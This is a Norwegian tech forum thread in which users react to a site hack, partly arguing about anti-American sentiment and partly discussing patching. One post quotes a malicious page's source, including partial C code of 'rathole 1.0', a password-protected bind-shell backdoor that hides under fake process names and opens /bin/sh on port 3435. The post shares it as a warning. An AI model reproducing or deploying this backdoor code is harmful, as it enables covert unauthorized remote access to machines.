Gå til innhold

Nettverket hacket?

zaico

Anbefalte innlegg

Videoannonse

Videoannonse
Annonse
Geir M

Geir M

Skrevet
Skrevet
Personlig synes jeg at det burde være mer antiamerikansk holdning på HW, ergo synes jeg det bra jobbet. :yes:

 

Men det er jo litt unødvendig å hacke HW...  :thumbdown:

Synes vi skulle hacke du jeg. Tosk. Hadde det ikke vært for USA så hadde du snakket Tysk nå. Skikkelig takknemlighet du viser :no:

Det du sier her sier bare at du ikke er så veldig smart. USA har en utrolig dårlig utenrikspolitikk. tyskland hadde tapt krigen uansett. Russerne stormet jo gjenom Berlin!

Lenke til kommentar
stigfjel

stigfjel

Skrevet
Skrevet
Personlig synes jeg at det burde være mer antiamerikansk holdning på HW, ergo synes jeg det bra jobbet. :yes:

 

Men det er jo litt unødvendig å hacke HW...   :thumbdown:

Synes vi skulle hacke du jeg. Tosk. Hadde det ikke vært for USA så hadde du snakket Tysk nå. Skikkelig takknemlighet du viser :no:

Det du sier her sier bare at du ikke er så veldig smart. USA har en utrolig dårlig utenrikspolitikk. tyskland hadde tapt krigen uansett. Russerne stormet jo gjenom Berlin!

Ja, russerne stormet gjennom Berlin, men hadde det ikke vært for amerikanerne, hadde vi bodd i en kommunistisk stat. Og det hadde ikke vært noe særlig...

Nei, vi skal sette pris på amerikanerne, men Bush kan godt forsvinne...

Lenke til kommentar
stigen1

stigen1

Skrevet
Skrevet
Personlig synes jeg at det burde være mer antiamerikansk holdning på HW, ergo synes jeg det bra jobbet. :yes:

 

Men det er jo litt unødvendig å hacke HW...   :thumbdown:

Synes vi skulle hacke du jeg. Tosk. Hadde det ikke vært for USA så hadde du snakket Tysk nå. Skikkelig takknemlighet du viser :no:

Det du sier her sier bare at du ikke er så veldig smart. USA har en utrolig dårlig utenrikspolitikk. tyskland hadde tapt krigen uansett. Russerne stormet jo gjenom Berlin!

Barnsligt! Anti amerikansk holdning? Dette er useriøst!

Lenke til kommentar
hans A

hans A

Skrevet
Skrevet

Dette skulle vel si det meste om virusprogram.

Det er ingen hensikt å innstallere det på PC'en.

Hackere klarer å bryte gjennom uansett.

Selv på baser som vet mye om hardware/software

klarer de ikke å være helt 100% sikker.

Hackerne ligger bestandig to skritt.....

Lenke til kommentar
JonV

JonV

Skrevet
Skrevet (endret)

Hvor mange er det som har kikket på Kildekoden på det bildet. ???

 

Hentet Fra Itpro.no

 

.hpg er en batch script som vil kjøre rathole 1.0, passord backdoor..

skrevet i elft og har brasiliansk opphav...

 

http://securityfocus.org/bid/9113

http://www.securityfocus.com/archive/1/345790

http://www.securityfocus.com/archive/1/346007 

http://www.unseklab.hpg.com.br/......(edit) 
(gir seg ut for å være et bilde) 

ser du nærmere på source vil du se følgende.... 


<script language="JavaScript"> 
function changePage() { 
barra = ""; 
if (self.parent.frames.length == 0){ 
barra = '<div style="z-index: 100; position: relative;">\n'; 
barra += '<map name="barra">\n'; 

barra += '<area alt="" coords="3,2,36,16" href="http://www.hpg.com.br" target="_blank" shape="RECT">\n'; 
barra += '<area alt="" coords="37,2,120,16" href="http://www.hpg.com.br/newxxx/discador" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="122,2,251,18" href="http://www.redframesite.com.br/hotsite/index.php" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="252,3,375,17" href="http://www.hpg.com.br/newxxx/hot_site" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="377,2,549,17" href="http://www.upclick.com.br/hpg/" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="550,2,650,17" href="http://www.hpgloja.com.br/" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="651,3,728,17" href="http://www.hpg.com.br/supersites" shape="RECT" target="_blank">\n'; 
barra += '<area alt="" coords="729,17,765,2" href="http://blig.ig.com.br/" target="_blank">\n'; 
barra += '</map>\n'; 
barra += '<body topmargin="0" marginheight="0" marginwidth="0">\n'; 
barra += '<table width="100%" cellspacing="0" cellpadding="0" border="0">\n'; 
barra += ' <tr>\n'; 
barra += ' <td align="center">\n'; 
barra += ' <img src="http://image.hpg.ig.com.br/imagens/barrahpg_nova.gif" width="768" height="19" border="0" usemap="#barra" align="top" hspace="0" vspace="0">\n'; 
barra += ' </td>\n'; 
barra += ' </tr>\n'; 
barra += '</table>\n'; 
barra += '</div>\n'; 
document.write(barra); 
} 
} 
changePage(); 
</script> 
<img src="http://image.ig.com.br/homev3/blank.gif" width="1" height="18"><br> 


<!-- hpG begin--> 
</script></noscript> 
<script language="javascript"><!-- 
var username = "unseklab"; 
var cat = "2601"; 
// --></script> 
<script language="javascript" src="http://ww2.hpg.ig.com.br/publicidade/publicidade_popup_js.php3" type="text/javascript"></script> 
<!-- hpG end --> 


// rathole 1.0 - passworded backdoor for linux/openbsd - by Incognito/PT 
// 
// After connecting to the specified port type password and return. There are 
// no friendly error messages because it's supposed to be silent. 
// On OpenBSD /bin/sh might give you trouble. Try other shells. And If you 
// don't enjoy stderr bitching comment line 61. 

#include <sys/types.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <signal.h> 
#include <netinet/in.h> 
#include <stdio.h> 
#include <errno.h> 
#include <unistd.h> 

#define SHELL "/bin/sh" // shell to run 
#define SARG "-i" // shell parameters 
#define PASSWD "foobar99" // password (8 chars) 
#define PORT 3435 // port to bind shell 
#define FAKEPS "syslogd" // process fake name 
#define SHELLPS "klogd" // shells fake name 
#define WELCOME "[ Rathole 1.0 ]\n\n" // banner message 

int main (int argc, char *argv[]) 
{ 
int lsock, csock; 
struct sockaddr_in laddr, caddr; 
socklen_t len; 
pid_t pid; 
char ipass[9]; 
static char *pass = PASSWD; 
static char *msg1 = WELCOME; 
char *sargv[3]; 
sargv[0] = SHELLPS; 
#ifdef SARG 
sargv[1] = SARG; 
sargv[2] = NULL; 
#else 
sargv[1] = NULL; 
#endif 
strcpy(argv[0], FAKEPS); 
signal(SIGCHLD, SIG_IGN); 
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1); 
len = sizeof(laddr); 
memset(&laddr, 0, len); 
laddr.sin_addr.s_addr = htonl(INADDR_ANY); 
laddr.sin_family = AF_INET; 
laddr.sin_port = htons(PORT); 
if (bind(lsock, (const struct sockaddr *)&laddr, len) != 0) exit (-1); 
if (listen(lsock, 1) != 0) exit (-1); 
if ((pid = fork()) == -1) exit (-1); 
if (pid > 0) exit(0); 
setsid(); 
while (1) { 
if((csock = accept(lsock, (struct sockaddr *)&caddr, &len)) 


-------------------------------------------------------- 

via.... 
http://packetstormsecurity.nl/UNIX/penetration/rootkits/ 

The software in this directory is provided for the use of System Admins only, and is provided to keep them informed on the backdoors that are currently in circulation. We strongly discourage the use of these tools without proper permission 

under rathole.c: 

rathole 1.0 is a passworded backdoor for Linux and Openbsd. By Incognito/PT.

Endret av win_xp
Lenke til kommentar
Skallbaink

Skallbaink

Skrevet
Skrevet (endret)

De fleste hacking angrep, starter i sårbare systemer. slike systemer er de som ikke har en automatisk oppdatering. Selv om Windows har en automatisk oppdatering ser en at til og med dette systemet er meget sårbart. Nå vil sikkert mange hevde at det er jo Microsoft i et nøtteskall, men jeg vil hevde at dette gjelder for mange typer programvare. Den eneste måte å holde seg unna disse scriptkiddiesene er å kjøre uber hyppig oppdatering, samt bruke scanning av sine systemer for å se hva disse svarer på de ulike script. Dette er et større problem enn mange vil erkjenne og jeg synes det er modig gjort av HW å gå ut å si at de har blitt hacket. Det er mange som fortier dette.

 

Til eksempel ble TDCs internettmobil løsning Mixit hacket i Danmark denne uken. Dette er jo en skummel sak. Gruer meg bare til virus og hacking flytter over på mobiltelefoner med det nye nettet, da blir det kaos!!

 

Hilsen Sverre, www.virus112.com

Endret av Skallbaink
Lenke til kommentar
Xjill

Xjill

Skrevet
Skrevet
er man ute etter å skape mest mulig trøbbel så tar man alle de sårbare sidene man finnere. er man ute etter å fremme et synspunkt så tar man vesentlige sider som har noe med saken å gjøre.

 

Hmm.. Hvis målet er å skape debatt om budskapet har de lyktest her, selv om mods nå prøve å dempe det :)

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
Gå til emneliste

  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...